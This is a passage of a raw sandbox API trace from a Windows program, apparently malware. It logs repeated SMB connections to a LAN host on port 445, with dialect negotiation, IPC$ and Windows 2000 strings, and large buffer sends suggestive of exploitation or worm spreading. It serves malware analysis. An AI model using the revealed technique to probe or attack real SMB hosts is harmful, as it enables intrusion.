(_Block=0xd9fe90, _Size=0x1014) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1015) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1016) returned 0xd9fe90 [0096.193] realloc (_Block=0xd9fe90, _Size=0x1017) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1018) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1019) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x101a) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x101b) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x101c) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x101d) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x101e) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x101f) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1020) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1021) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1022) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1023) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1024) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1025) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1026) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1027) returned 0xd9fe90 [0096.194] realloc (_Block=0xd9fe90, _Size=0x1028) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x1029) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x102a) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x102b) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x102c) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x102d) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x102e) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x102f) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x1030) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x1031) returned 0xd9fe90 [0096.195] realloc (_Block=0xd9fe90, _Size=0x1032) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1033) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1034) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1035) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1036) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1037) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1038) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1039) returned 0xd9fe90 [0096.196] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.196] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1001) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1002) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1003) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1004) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1005) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1006) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1007) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1008) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1009) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x100a) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x100b) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x100c) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x100d) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x100e) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x100f) returned 0xd9fe90 [0096.196] realloc (_Block=0xd9fe90, _Size=0x1010) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1011) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1012) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1013) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1014) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1015) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1016) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1017) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1018) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1019) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x101a) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x101b) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x101c) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x101d) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x101e) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x101f) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1020) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1021) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1022) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1023) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1024) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1025) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1026) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1027) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1028) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1029) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x102a) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x102b) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x102c) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x102d) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x102e) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x102f) returned 0xd9fe90 [0096.197] realloc (_Block=0xd9fe90, _Size=0x1030) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1031) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1032) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1033) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1034) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1035) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1036) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1037) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1038) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1039) returned 0xd9fe90 [0096.198] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.198] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1001) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1002) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1003) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1004) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1005) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1006) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1007) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1008) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1009) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x100a) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x100b) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x100c) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x100d) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x100e) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x100f) returned 0xd9fe90 [0096.198] realloc (_Block=0xd9fe90, _Size=0x1010) returned 0xd9fe90 [0096.199] realloc (_Block=0xd9fe90, _Size=0x1011) returned 0xd9fe90 [0096.199] realloc (_Block=0xd9fe90, _Size=0x1012) returned 0xd9fe90 [0096.199] realloc (_Block=0xd9fe90, _Size=0x1013) returned 0xd9fe90 [0096.199] realloc (_Block=0xd9fe90, _Size=0x1014) returned 0xd9fe90 [0096.199] realloc (_Block=0xd9fe90, _Size=0x1015) returned 0xd9fe90 [0096.199] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.199] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.199] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.199] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.199] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.200] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.200] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.200] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.200] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.200] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.200] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.200] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.201] send (s=0x94, buf=0xd9fe90*, len=4153, flags=0) returned 4153 [0096.201] strlen (_Str="JlJmIhClBsr") returned 0xb [0096.201] strlen (_Str="JlJmIhClBsr") returned 0xb [0096.201] send (s=0x94, buf=0xd9fe90*, len=53, flags=0) returned 53 [0096.201] select (in: nfds=149, readfds=0x2b1f2cc, writefds=0x0, exceptfds=0x0, timeout=0x2b1f3d0*(tv_sec=90, tv_usec=0) | out: readfds=0x2b1f2cc, writefds=0x0, exceptfds=0x0) returned 1 [0096.203] recv (in: s=0x94, buf=0xd9ce98, len=8192, flags=0 | out: buf=0xd9ce98*) returned 53 [0096.203] htons (hostshort=0x1122) returned 0x2211 [0096.203] malloc (_Size=0x2000) returned 0xdb6460 [0096.203] rand () returned 16515 [0096.203] rand () returned 22046 [0096.203] rand () returned 32025 [0096.203] rand () returned 7541 [0096.203] malloc (_Size=0x18) returned 0xd96f78 [0096.204] realloc (_Block=0x0, _Size=0x6) returned 0xda10c0 [0096.204] realloc (_Block=0x0, _Size=0xa) returned 0xead5e0 [0096.204] strlen (_Str="LANMAN") returned 0x6 [0096.204] realloc (_Block=0x0, _Size=0x7) returned 0xda10a0 [0096.204] strlen (_Str="IPC$") returned 0x4 [0096.204] realloc (_Block=0x0, _Size=0x5) returned 0xda10b0 [0096.204] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.204] realloc (_Block=0x0, _Size=0x12) returned 0xd96fd8 [0096.204] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.204] realloc (_Block=0x0, _Size=0x11) returned 0xd96ff8 [0096.204] htons (hostshort=0x1bd) returned 0xbd01 [0096.204] socket (af=2, type=1, protocol=6) returned 0x98 [0096.204] setsockopt (s=0x98, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.204] connect (s=0x98, name=0xdb53e8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.205] malloc (_Size=0x400) returned 0xd92b50 [0096.205] malloc (_Size=0x400) returned 0xd9fe90 [0096.205] strlen (_Str="PC NETWORK PROGRAM 1.0") returned 0x16 [0096.205] strlen (_Str="LANMAN1.0") returned 0x9 [0096.205] strlen (_Str="Windows for Workgroups 3.1a") returned 0x1b [0096.205] strlen (_Str="LM1.2X002") returned 0x9 [0096.205] strlen (_Str="LANMAN2.1") returned 0x9 [0096.205] strlen (_Str="NT LM 0.12") returned 0xa [0096.205] realloc (_Block=0x0, _Size=0x1000) returned 0xdbc478 [0096.205] send (s=0x98, buf=0xdbc478*, len=137, flags=0) returned 137 [0096.205] select (in: nfds=153, readfds=0x2b1f178, writefds=0x0, exceptfds=0x0, timeout=0x2b1f27c*(tv_sec=120, tv_usec=0) | out: readfds=0x2b1f178, writefds=0x0, exceptfds=0x0) returned 1 [0096.222] recv (in: s=0x98, buf=0xd92b50, len=1024, flags=0 | out: buf=0xd92b50*) returned 131 [0096.222] realloc (_Block=0x0, _Size=0x1000) returned 0xd9fe90 [0096.222] send (s=0x98, buf=0xd9fe90*, len=85, flags=0) returned 85 [0096.222] select (in: nfds=153, readfds=0x2b1f230, writefds=0x0, exceptfds=0x0, timeout=0x2b1f334*(tv_sec=120, tv_usec=0) | out: readfds=0x2b1f230, writefds=0x0, exceptfds=0x0) returned 1 [0096.222] recv (in: s=0x98, buf=0xd92b50, len=1024, flags=0 | out: buf=0xd92b50*) returned 205 [0096.223] free (_Block=0xd92b50) [0096.223] free (_Block=0xd9fe90) [0096.223] malloc (_Size=0x1090) returned 0xdbc478 [0096.223] htons (hostshort=0x1122) returned 0x2211 [0096.223] malloc (_Size=0x2000) returned 0xdbd510 [0096.223] rand () returned 30433 [0096.223] rand () returned 12509 [0096.223] rand () returned 3283 [0096.223] rand () returned 16865 [0096.223] malloc (_Size=0x18) returned 0xd97018 [0096.223] realloc (_Block=0x0, _Size=0x6) returned 0xda0fd0 [0096.223] realloc (_Block=0x0, _Size=0xa) returned 0xead5f8 [0096.223] strlen (_Str="LANMAN") returned 0x6 [0096.223] realloc (_Block=0x0, _Size=0x7) returned 0xda1000 [0096.223] strlen (_Str="IPC$") returned 0x4 [0096.223] realloc (_Block=0x0, _Size=0x5) returned 0xda1010 [0096.223] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.224] realloc (_Block=0x0, _Size=0x12) returned 0xd97038 [0096.224] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.224] realloc (_Block=0x0, _Size=0x11) returned 0xd97058 [0096.224] htons (hostshort=0x1bd) returned 0xbd01 [0096.224] socket (af=2, type=1, protocol=6) returned 0x9c [0096.224] setsockopt (s=0x9c, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.224] connect (s=0x9c, name=0xdbc498*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.224] realloc (_Block=0x0, _Size=0x1) returned 0xda0ff0 [0096.224] realloc (_Block=0xda0ff0, _Size=0x2) returned 0xda0fe0 [0096.225] realloc (_Block=0xda0fe0, _Size=0x3) returned 0xda0ff0 [0096.225] realloc (_Block=0xda0ff0, _Size=0x4) returned 0xda0fe0 [0096.225] realloc (_Block=0xda0fe0, _Size=0x1004) returned 0xd9fe90 [0096.225] send (s=0x9c, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.225] free (_Block=0xd9fe90) [0096.225] htons (hostshort=0x1122) returned 0x2211 [0096.225] malloc (_Size=0x2000) returned 0xdc45c0 [0096.225] rand () returned 6584 [0096.225] rand () returned 7299 [0096.225] rand () returned 14043 [0096.225] rand () returned 16472 [0096.225] malloc (_Size=0x18) returned 0xd97078 [0096.225] realloc (_Block=0x0, _Size=0x6) returned 0xda0fe0 [0096.225] realloc (_Block=0x0, _Size=0xa) returned 0xead5b0 [0096.225] strlen (_Str="LANMAN") returned 0x6 [0096.225] realloc (_Block=0x0, _Size=0x7) returned 0xda0ff0 [0096.225] strlen (_Str="IPC$") returned 0x4 [0096.225] realloc (_Block=0x0, _Size=0x5) returned 0xda1040 [0096.226] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.226] realloc (_Block=0x0, _Size=0x12) returned 0xd97098 [0096.226] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.226] realloc (_Block=0x0, _Size=0x11) returned 0xd970b8 [0096.226] htons (hostshort=0x1bd) returned 0xbd01 [0096.226] socket (af=2, type=1, protocol=6) returned 0xa0 [0096.226] setsockopt (s=0xa0, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.226] connect (s=0xa0, name=0xdc3548*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.226] realloc (_Block=0x0, _Size=0x1) returned 0xda1020 [0096.226] realloc (_Block=0xda1020, _Size=0x2) returned 0xda1030 [0096.226] realloc (_Block=0xda1030, _Size=0x3) returned 0xda1020 [0096.227] realloc (_Block=0xda1020, _Size=0x4) returned 0xda1030 [0096.227] realloc (_Block=0xda1030, _Size=0x1004) returned 0xd9fe90 [0096.227] send (s=0xa0, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.227] free (_Block=0xd9fe90) [0096.227] htons (hostshort=0x1122) returned 0x2211 [0096.227] malloc (_Size=0x2000) returned 0xdcb670 [0096.227] rand () returned 14422 [0096.227] rand () returned 21675 [0096.227] rand () returned 3041 [0096.227] rand () returned 7244 [0096.227] malloc (_Size=0x18) returned 0xd970d8 [0096.227] realloc (_Block=0x0, _Size=0x6) returned 0xda1030 [0096.227] realloc (_Block=0x0, _Size=0xa) returned 0xead568 [0096.227] strlen (_Str="LANMAN") returned 0x6 [0096.227] realloc (_Block=0x0, _Size=0x7) returned 0xda1020 [0096.227] strlen (_Str="IPC$") returned 0x4 [0096.227] realloc (_Block=0x0, _Size=0x5) returned 0xda0f50 [0096.227] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.228] realloc (_Block=0x0, _Size=0x12) returned 0xd970f8 [0096.228] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.228] realloc (_Block=0x0, _Size=0x11) returned 0xd97118 [0096.228] htons (hostshort=0x1bd) returned 0xbd01 [0096.228] socket (af=2, type=1, protocol=6) returned 0xa4 [0096.228] setsockopt (s=0xa4, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.228] connect (s=0xa4, name=0xdca5f8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.228] realloc (_Block=0x0, _Size=0x1) returned 0xda0f80 [0096.228] realloc (_Block=0xda0f80, _Size=0x2) returned 0xda0f90 [0096.228] realloc (_Block=0xda0f90, _Size=0x3) returned 0xda0f80 [0096.228] realloc (_Block=0xda0f80, _Size=0x4) returned 0xda0f90 [0096.228] realloc (_Block=0xda0f90, _Size=0x1004) returned 0xd9fe90 [0096.228] send (s=0xa4, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.229] free (_Block=0xd9fe90) [0096.229] htons (hostshort=0x1122) returned 0x2211 [0096.229] malloc (_Size=0x2000) returned 0xdd2720 [0096.229] rand () returned 24025 [0096.229] rand () returned 29045 [0096.229] rand () returned 5894 [0096.229] rand () returned 14803 [0096.229] malloc (_Size=0x18) returned 0xd97138 [0096.229] realloc (_Block=0x0, _Size=0x6) returned 0xda0f90 [0096.229] realloc (_Block=0x0, _Size=0xa) returned 0xead580 [0096.229] strlen (_Str="LANMAN") returned 0x6 [0096.229] realloc (_Block=0x0, _Size=0x7) returned 0xda0f80 [0096.229] strlen (_Str="IPC$") returned 0x4 [0096.229] realloc (_Block=0x0, _Size=0x5) returned 0xda0f70 [0096.231] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.231] realloc (_Block=0x0, _Size=0x12) returned 0xd97158 [0096.231] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.231] realloc (_Block=0x0, _Size=0x11) returned 0xd97178 [0096.231] htons (hostshort=0x1bd) returned 0xbd01 [0096.231] socket (af=2, type=1, protocol=6) returned 0xa8 [0096.231] setsockopt (s=0xa8, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.231] connect (s=0xa8, name=0xdd16a8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.233] realloc (_Block=0x0, _Size=0x1) returned 0xda0f60 [0096.233] realloc (_Block=0xda0f60, _Size=0x2) returned 0xda0fc0 [0096.233] realloc (_Block=0xda0fc0, _Size=0x3) returned 0xda0f60 [0096.233] realloc (_Block=0xda0f60, _Size=0x4) returned 0xda0fc0 [0096.233] realloc (_Block=0xda0fc0, _Size=0x1004) returned 0xd9fe90 [0096.233] send (s=0xa8, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.233] free (_Block=0xd9fe90) [0096.234] htons (hostshort=0x1122) returned 0x2211 [0096.234] malloc (_Size=0x2000) returned 0xdd8750 [0096.234] rand () returned 19127 [0096.234] rand () returned 15107 [0096.234] rand () returned 25444 [0096.234] rand () returned 19750 [0096.234] malloc (_Size=0x18) returned 0xd97198 [0096.234] realloc (_Block=0x0, _Size=0x6) returned 0xda0fc0 [0096.234] realloc (_Block=0x0, _Size=0xa) returned 0xead520 [0096.234] strlen (_Str="LANMAN") returned 0x6 [0096.234] realloc (_Block=0x0, _Size=0x7) returned 0xda0f60 [0096.234] strlen (_Str="IPC$") returned 0x4 [0096.234] realloc (_Block=0x0, _Size=0x5) returned 0xda0fa0 [0096.234] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.234] realloc (_Block=0x0, _Size=0x12) returned 0xd971b8 [0096.234] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.234] realloc (_Block=0x0, _Size=0x11) returned 0xd971d8 [0096.234] htons (hostshort=0x1bd) returned 0xbd01 [0096.234] socket (af=2, type=1, protocol=6) returned 0xac [0096.234] setsockopt (s=0xac, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.234] connect (s=0xac, name=0xe16750*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.235] realloc (_Block=0x0, _Size=0x1) returned 0xda0fb0 [0096.235] realloc (_Block=0xda0fb0, _Size=0x2) returned 0xda0f00 [0096.235] realloc (_Block=0xda0f00, _Size=0x3) returned 0xda0fb0 [0096.235] realloc (_Block=0xda0fb0, _Size=0x4) returned 0xda0f00 [0096.235] realloc (_Block=0xda0f00, _Size=0x1004) returned 0xd9fe90 [0096.235] send (s=0xac, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.235] free (_Block=0xd9fe90) [0096.235] htons (hostshort=0x1122) returned 0x2211 [0096.235] malloc (_Size=0x2000) returned 0xdde768 [0096.235] rand () returned 32312 [0096.235] rand () returned 3324 [0096.235] rand () returned 20868 [0096.235] rand () returned 23076 [0096.235] malloc (_Size=0x18) returned 0xd971f8 [0096.235] realloc (_Block=0x0, _Size=0x6) returned 0xda0f00 [0096.235] realloc (_Block=0x0, _Size=0xa) returned 0xead550 [0096.235] strlen (_Str="LANMAN") returned 0x6 [0096.235] realloc (_Block=0x0, _Size=0x7) returned 0xda0fb0 [0096.235] strlen (_Str="IPC$") returned 0x4 [0096.235] realloc (_Block=0x0, _Size=0x5) returned 0xda0f10 [0096.236] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.236] realloc (_Block=0x0, _Size=0x12) returned 0xd97218 [0096.236] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.236] realloc (_Block=0x0, _Size=0x11) returned 0xd97238 [0096.236] htons (hostshort=0x1bd) returned 0xbd01 [0096.236] socket (af=2, type=1, protocol=6) returned 0xb0 [0096.236] setsockopt (s=0xb0, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.236] connect (s=0xb0, name=0xe177e8*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.237] realloc (_Block=0x0, _Size=0x1) returned 0xda0ef0 [0096.237] realloc (_Block=0xda0ef0, _Size=0x2) returned 0xda0f40 [0096.237] realloc (_Block=0xda0f40, _Size=0x3) returned 0xda0ef0 [0096.237] realloc (_Block=0xda0ef0, _Size=0x4) returned 0xda0f40 [0096.237] realloc (_Block=0xda0f40, _Size=0x1004) returned 0xd9fe90 [0096.237] send (s=0xb0, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.237] free (_Block=0xd9fe90) [0096.237] htons (hostshort=0x1122) returned 0x2211 [0096.237] malloc (_Size=0x2000) returned 0xde4780 [0096.237] rand () returned 4089 [0096.237] rand () returned 18954 [0096.237] rand () returned 15591 [0096.237] rand () returned 17358 [0096.237] malloc (_Size=0x18) returned 0xd97258 [0096.237] realloc (_Block=0x0, _Size=0x6) returned 0xda0f40 [0096.237] realloc (_Block=0x0, _Size=0xa) returned 0xead538 [0096.237] strlen (_Str="LANMAN") returned 0x6 [0096.237] realloc (_Block=0x0, _Size=0x7) returned 0xda0ef0 [0096.237] strlen (_Str="IPC$") returned 0x4 [0096.237] realloc (_Block=0x0, _Size=0x5) returned 0xda0f20 [0096.237] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.237] realloc (_Block=0x0, _Size=0x12) returned 0xd97278 [0096.238] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.238] realloc (_Block=0x0, _Size=0x11) returned 0xd97298 [0096.238] htons (hostshort=0x1bd) returned 0xbd01 [0096.238] socket (af=2, type=1, protocol=6) returned 0xb4 [0096.238] setsockopt (s=0xb4, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.238] connect (s=0xb4, name=0xe18880*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.238] realloc (_Block=0x0, _Size=0x1) returned 0xda0f30 [0096.238] realloc (_Block=0xda0f30, _Size=0x2) returned 0xda11b0 [0096.238] realloc (_Block=0xda11b0, _Size=0x3) returned 0xda0f30 [0096.238] realloc (_Block=0xda0f30, _Size=0x4) returned 0xda11b0 [0096.238] realloc (_Block=0xda11b0, _Size=0x1004) returned 0xd9fe90 [0096.238] send (s=0xb4, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.239] free (_Block=0xd9fe90) [0096.239] malloc (_Size=0x1090) returned 0xe198f8 [0096.239] htons (hostshort=0x1122) returned 0x2211 [0096.239] malloc (_Size=0x2000) returned 0xdea798 [0096.239] rand () returned 22889 [0096.239] rand () returned 24414 [0096.239] rand () returned 29056 [0096.239] rand () returned 27594 [0096.239] malloc (_Size=0x18) returned 0xd972b8 [0096.239] realloc (_Block=0x0, _Size=0x6) returned 0xda11b0 [0096.239] realloc (_Block=0x0, _Size=0xa) returned 0xead4d8 [0096.239] strlen (_Str="LANMAN") returned 0x6 [0096.239] realloc (_Block=0x0, _Size=0x7) returned 0xda0f30 [0096.239] strlen (_Str="IPC$") returned 0x4 [0096.239] realloc (_Block=0x0, _Size=0x5) returned 0xda1250 [0096.239] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.239] realloc (_Block=0x0, _Size=0x12) returned 0xd972d8 [0096.239] strlen (_Str="Windows 2000 5.0") returned 0x10 [0096.239] realloc (_Block=0x0, _Size=0x11) returned 0xd972f8 [0096.239] htons (hostshort=0x1bd) returned 0xbd01 [0096.239] socket (af=2, type=1, protocol=6) returned 0xb8 [0096.239] setsockopt (s=0xb8, level=65535, optname=128, optval="", optlen=4) returned 0 [0096.239] connect (s=0xb8, name=0xe19918*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.0.171"), namelen=16) returned 0 [0096.240] realloc (_Block=0x0, _Size=0x1) returned 0xd902a0 [0096.240] realloc (_Block=0xd902a0, _Size=0x2) returned 0xd902b0 [0096.240] realloc (_Block=0xd902b0, _Size=0x3) returned 0xd902a0 [0096.240] realloc (_Block=0xd902a0, _Size=0x4) returned 0xd902b0 [0096.240] realloc (_Block=0xd902b0, _Size=0x1004) returned 0xd9fe90 [0096.240] send (s=0xb8, buf=0xd9fe90*, len=132, flags=0) returned 132 [0096.240] free (_Block=0xd9fe90) [0096.240] malloc (_Size=0x1090) returned 0xe1a990 [0096.240] htons (hostshort=0x1122) returned 0x2211 [0096.240] malloc (_Size=0x2000) returned 0xdf07b0 [0096.240] rand () returned 28494 [0096.241] rand () returned 22569 [0096.241] rand () returned 28983 [0096.241] rand () returned 25058 [0096.241] malloc (_Size=0x18) returned 0xd97318 [0096.241] realloc (_Block=0x0, _Size=0x6) returned 0xd902b0 [0096.241] realloc (_Block=0x0, _Size=0xa) returned 0xead508 [0096.241] strlen (_Str="LANMAN") returned 0x6 [0096.241] realloc (_Block=0x0, _Size=0x7) returned 0xd902a0 [0096.241] strlen (_Str="IPC$") returned 0x4 [0096.241] realloc (_Block=0x0, _Size=0x5) returned 0xd902c0 [0096.241] strlen (_Str="Windows 2000 2195") returned 0x11 [0096.241] realloc (_Block=0x0, _Size=0x12) returned 0xd97338 [0096.241] 